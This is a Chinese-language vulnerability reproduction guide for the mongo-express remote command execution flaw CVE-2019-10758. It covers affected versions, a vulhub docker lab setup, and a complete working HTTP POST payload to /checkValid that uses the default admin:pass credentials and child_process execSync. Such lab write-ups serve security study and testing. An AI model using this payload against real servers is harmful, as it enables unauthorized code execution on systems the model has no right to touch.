0%

Mongo-express远程命令执行漏洞(CVE-2019-10758)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。

如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。

参考链接:https://blog.csdn.net/whatday/article/details/106751138

参考链接:https://www.cnblogs.com/null1433/p/12740333.html


影响版本

1
2
mongo-express 0.53.0
0.54.0 之前的 mongo-express 容易通过使用 toBSON 方法的端点进行远程代码执行。滥用 vm 依赖项在非安全环境中执行 exec 命令。

环境搭建

1. docker搭建;

1
2
cd /vulhub/mongo-express/CVE-2019-107585
docker-compose up -d

访问 http://xxx.xxx.xxx.xxx:8081/ 正常即可;

image-20211224140835462

漏洞复现

前提条件

1.知道Mongo的账号密码,或者未授权

命令执行

任意命令执行payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /checkValid HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

image-20211224142736685

欢迎关注我的其它发布渠道